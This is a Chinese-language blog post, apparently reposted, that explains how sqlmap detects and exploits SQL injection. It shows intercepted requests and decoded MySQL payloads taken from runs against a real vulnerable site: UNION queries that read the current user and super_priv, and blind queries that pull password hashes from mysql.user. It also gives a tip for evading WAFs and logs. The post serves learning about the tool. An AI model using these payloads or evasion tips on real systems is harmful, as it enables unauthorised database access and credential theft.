limit 后注入_聊一聊 SQLMAP 在进行 sql 注入时的整个流程
本文作者:sher10ck(信安之路核心成員)
很多小伙伴在發(fā)現(xiàn)或者判斷出注入的時候,大多數(shù)選擇就是直接上 sqlmap,結果往往也不盡人意,于是就有想法來寫寫 sqlmap 從執(zhí)行到判斷注入,到底發(fā)生了什么?
本文就用我們看的見的角度來分析,看看 sqlmap 到底發(fā)送了什么 payload,這些 payload 是怎么出來的,不深入代碼層面。
技術有限,若有錯誤指出來,感激不盡。
測試環(huán)境:
sqlmap(1.3.6.58#dev)
Burp Suite
http://attack.com?1.php?id=1
測試方式
利用 sqlmap 的 proxy 參數(shù),我們將代理設置為 8080 端口用 burpsuite 進行抓包
sqlmap.py -u "http://attack.com?1.php?id=1" --proxy="http://127.0.0.1:8080"
(測試了很久好像本地搭建的環(huán)境無法抓包,所以就找了有注入點的網(wǎng)站,漏洞已上報給漏洞平臺)
抓取到的包如下?:
sqlmap 的準備工作
我們也觀察到,sqlmap 默認發(fā)送的 User-Agent 是這樣的,
User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)所以為了避免被 waf 或者日志里面記錄,我們一般可以添加一個?--random-agent?參數(shù)在后面。
首先我們的 sqlmap 會連續(xù)發(fā)送出很多數(shù)據(jù)包來檢測目標網(wǎng)站是否穩(wěn)定:
GET /xxxx.php?id=1 HTTP/1.1Host: www.xxxx.xxxAccept: */*User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)Connection: closeCache-Control: no-cache[INFO] testing connection to the target URL[INFO] testing if the target URL content is stable[INFO] target URL content is stable接下來會檢測是否為 dynamic,和上面的請求包相比,sqlmap 修改了 id 后面的值
GET /xxxx.php?id=2324 HTTP/1.1Host: www.xxx.xxxAccept: */*User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)Connection: closeCache-Control: no-cache[INFO] testing if GET parameter 'id' is dynamic看不懂這是什么騷操作,我們來看看源碼里面怎么說 (sqlmap\lib\controller\checks.py)
def checkDynParam(place, parameter, value): """ This function checks if the URL parameter is dynamic. If it is dynamic, the content of the page differs, otherwise the dynamicity might depend on another parameter. """根據(jù)輸出語句的關鍵詞查找,我追蹤到了這個 checkDynParam 函數(shù),大概的作用就是修改我們現(xiàn)在獲取到的參數(shù)值,看修改前后的頁面返回是否相同(有的時候注入有多個參數(shù),那么有些無關緊要的參數(shù)修改后頁面是沒有變化的),若有變化(或者說這個參數(shù)是真實有效的),sqlmap 才會走到下一步。
下一步的數(shù)據(jù)包和功能如下:
GET /xxxx.php?id=1%27.%29%2C%2C.%28.%29%22 HTTP/1.1Host: www.xxx.xxxAccept: */*User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)Connection: closeCache-Control: no-cache[INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')我們將上面的 url 編碼解碼:
/xxxx.php?id=1%27.%29%2C%2C.%28.%29%22/xxxx.php?id=1'.),,.(.)"這幾個字符串就能判斷是 Mysql 數(shù)據(jù)庫?又是什么騷操作,再看看源碼吧 (sqlmap\lib\controller\ckecks.py):
infoMsg += " (possible DBMS: '%s')" % Format.getErrorParsedDBMSes()找到了一條語句,跟蹤這個?getErrorParsedDBMSes()?函數(shù)
def getErrorParsedDBMSes(): """ Parses the knowledge base htmlFp list and return its values formatted as a human readable string. @return: list of possible back-end DBMS based upon error messages parsing. @rtype: C{str} """那么這個函數(shù)就是通過報錯信息(就是上面的 payload) 來辨別數(shù)據(jù)庫的類型,剛好我找的這個網(wǎng)站也是爆出了 Mysql 語句的錯誤,然后就通過正則 (sqlmap/data/xml/errors.xml) 識別出來啦,篇幅原因源碼就不分析了。
sqlmap 的注入分析
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Yfor the remaining tests, do you want to include all tests for 'MySQL' extendingprovided level (1) and risk (1) values? [Y/n] Y上面 sqlmap 已經(jīng)得到了數(shù)據(jù)庫的類型并且參數(shù)也是有效的,接下來往下走 sqlmap 就開始判斷注入了(這里直接用-v3 參數(shù)顯示 payload 更加的清晰)。
這一塊也是大家最需要搞清楚的一部分,很多小伙伴看著感覺有注入,哎,上 sqlmap,然后基本上一片紅,但是實際上,按照 sqlmap 對注入的分類,我們可以更加清晰的了解 sqlmap 到底做了什么,這些東西是從哪里出來。
首先要說一下,sqlmap 有一個?—technique?參數(shù),在運行的整個過程中,也是按照這幾類來檢測的:
--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")B: Boolean-based blind SQL injection(布爾型注入)E: Error-based SQL injection(報錯型注入)U: UNION query SQL injection(可聯(lián)合查詢注入)S: Stacked queries SQL injection(可多語句查詢注入)T: Time-based blind SQL injection(基于時間延遲注入)Q: inline_query SQL injection(內聯(lián)注入)對這幾種注入還不熟練于心的小伙伴們要好好補一下基礎
那么這些主要的注入語句,我們可以在?sqlmap/data/xml/queries.xml?中查看了解,總結的還是挺全面的,這里截取一部分出來。
<dbms value="MySQL"> <cast query="CAST(%s AS CHAR)"/> <length query="CHAR_LENGTH(%s)"/> <isnull query="IFNULL(%s,' ')"/> <delimiter query=","/> <limit query="LIMIT %d,%d"/> <limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/> <limitgroupstart query="1"/> <limitgroupstop query="2"/> <limitstring query=" LIMIT "/> <order query="ORDER BY %s ASC"/> <count query="COUNT(%s)"/> <comment query="-- -" query2="/*" query3="#"/> <substring query="MID((%s),%d,%d)"/> <concatenate query="CONCAT(%s,%s)"/> <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/> <hex query="HEX(%s)"/> <inference query="ORD(MID((%s),%d,1))>%d"/> <banner query="VERSION()"/> <current_user query="CURRENT_USER()"/> <current_db query="DATABASE()"/> <hostname query="@@HOSTNAME"/>..................對于每種類型的注入語句需要如何組合,在?sqlmap/data/xml/payloads?下有六個文件,里面主要是定義了測試的名稱(也就是我們控制臺中輸出的內容)、風險等級、一些 payload 的位置等,了解一下就行了。
<test> <title>Generic UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns (custom)title> <stype>6stype> <level>1level> <risk>1risk> <clause>1,2,3,4,5clause> <where>1where> <vector>[UNION]vector> <request> <payload/> <comment>[GENERIC_SQL_COMMENT]comment> <char>[CHAR]char> <columns>[COLSTART]-[COLSTOP]columns> request> <response> <union/> response> test>同目錄下還有一個?boundaries.xml?文件,里面主要是定義了一些閉合的符號,比方說我們注入點需要閉合,添加單引號、雙引號、括號等一系列的組合方式,就是從這個文件當中提取出來的。
<boundary> <level>3level> <clause>1clause> <where>1,2where> <ptype>3ptype> <prefix>'))prefix> <suffix> AND (('[RANDSTR]' LIKE '[RANDSTR]suffix> boundary>所以梳理一下思路,我們最終會發(fā)送給目標服務器的 payload,首先是需要閉合的 (boundaries.xml),然后從對應的注入類型的各種測試模板中提取相應的參數(shù)(比如:boolean_blind.xml),然后在?queries.xml?中取出相應的表達式,最后通過 tamper 的渲染,輸出我們最終的 payload,也就是我們的?-v3?參數(shù)。
sqlmap 的一些參數(shù)
我們主要分析以下兩個命令:
--is-dba--passwords命令主要是判斷 mysql 用戶的一些信息,當我們發(fā)現(xiàn)注入可以利用的時候,下一步就是要看當前用戶的權限看能有什么的操作了。
判斷是否是 dba 權限
sqlmap 一共發(fā)了兩個請求包:
GET /xxxx.php?id=-2478%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280xxxxxxx%2CIFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%29%2C0x20%29%2C0x7176786b71%29%2CNULL%2CNULL--%20HZdP HTTP/1.1Host: www.xxxx.xxxAccept: */*User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)Connection: closeCache-Control: no-cacheGET /xxxx.php?id=-6628%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CCONCAT%280x7178787871%2C%28CASE%20WHEN%20%28%28SELECT%20super_priv%20FROM%20mysql.user%20WHERE%20user%3D0xxxxxxxx%20LIMIT%200%2C1%29%3D0x59%29%20THEN%201%20ELSE%200%20END%29%2C0x7170627071%29--%20mOPV HTTP/1.1Host: www.xxxx.xxxAccept: */*User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)Connection: closeCache-Control: no-cache將 payload 解碼:
/xxxx.php?id=-2478 UNION ALL SELECT NULL,CONCAT(0x71766a6271,IFNULL(CAST(CURRENT_USER() AS CHAR),0x20),0xxxxx),NULL,NULL-- HZdP/xxxx.php?id=-6628 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7178787871,(CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=0xxxxx LIMIT 0,1)=0x59) THEN 1 ELSE 0 END),0x7170627071)-- mOPV我們直接在 mysql 控制臺下執(zhí)行命令:
?
第一個命令返回了用戶名, 0x71766a6271 解碼為 qvjbq,那么這一步我們可以提取出用戶名了。
第二個命令返回了 1 ,我們將查詢命令提取出來
SELECT super_priv FROM mysql.user WHERE user=0xxxxx LIMIT 0,1在 mysql 數(shù)據(jù)庫下的 user 表中查詢 super_priv (超級權限)的值:
返回了 Y,所以我們判斷是否為 dba 的思路就是通過查看 mysql.user 下 super_priv 的值。
這個命令有一個坑,有的時候我們所注入的服務器上面并沒有 mysql 這個數(shù)據(jù)庫,所以用這個命令的前提是 mysql 這個數(shù)據(jù)庫要存在。
查詢密碼
抓的包:
GET /xxx.php?id=1%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28DISTINCT%28authentication_string%29%29%20AS%20CHAR%29%2C0x20%29%20FROM%20mysql.user%20WHERE%20user%3D0x64623833323331%29%2C1%2C1%29%29%3E48 HTTP/1.1Host: www.xxxx.xxxAccept: */*User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)Connection: closeCache-Control: no-cache解碼:
/xxxx.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(authentication_string)) AS CHAR),0x20) FROM mysql.user WHERE user=0xxxxx),1,1))>48這里有個很有趣的地方,我的 sqlmap 是 1.3.6 的版本,不知道之前的是不是,他是從 mysql.user 中獲取?authentication_string?的值,但是很有趣的是,這個值只有在 mysql 版本 5.7 以上,password 才會變成?authentication_string,我們也可以從?queries.xml?中找到這條語句:
<passwords> <inband query="SELECT user,authentication_string FROM mysql.user" condition="user"/> <blind query="SELECT DISTINCT(authentication_string) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(authentication_string)) FROM mysql.user WHERE user='%s'"/>passwords>發(fā)現(xiàn)默認就是這個 authentication_string,所以我們這里直接修改 queries.xml 中的語句,將查詢的列明改成 password 再測試一下。
后面測試發(fā)現(xiàn),我們在沒有修改的情況下,sqlmap 也會跑出密碼,而且查看 payload 之后,sqlmap 先是查了 authentication_string,然后查了 password:
看下源碼,然后找到了(?sqlmap/plugins/generic/users.py):
values = inject.getValue(query.replace("authentication_string", "password"), blind=False, time=False)這里用 replace 將兩個列明進行了替換,里面有個 ifel 的語句,要是第一次沒找到就會進行替換,這樣我們的問題就解決掉啦,sqlmap 還是想的挺周全的哈哈。
總結
sqlmap 里面的內容實在是太多太多,想要摸索里面的內容需要花費大量的時間,當然收獲也是成正比的,搞清楚sqlmap 的流程原理,對我們 sql 注入技術會有很大的提升。
推薦閱讀:
sqlmap 內核分析系列:
https://www.anquanke.com/subject/id/160641
歡迎小伙伴們和我討論 sqlmap 有關的任何問題。
總結
以上是生活随笔為你收集整理的limit 后注入_聊一聊 SQLMAP 在进行 sql 注入时的整个流程的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Arduino- GY30光线传感器实验
- 下一篇: 转售联通物联网卡的盈利可能性探讨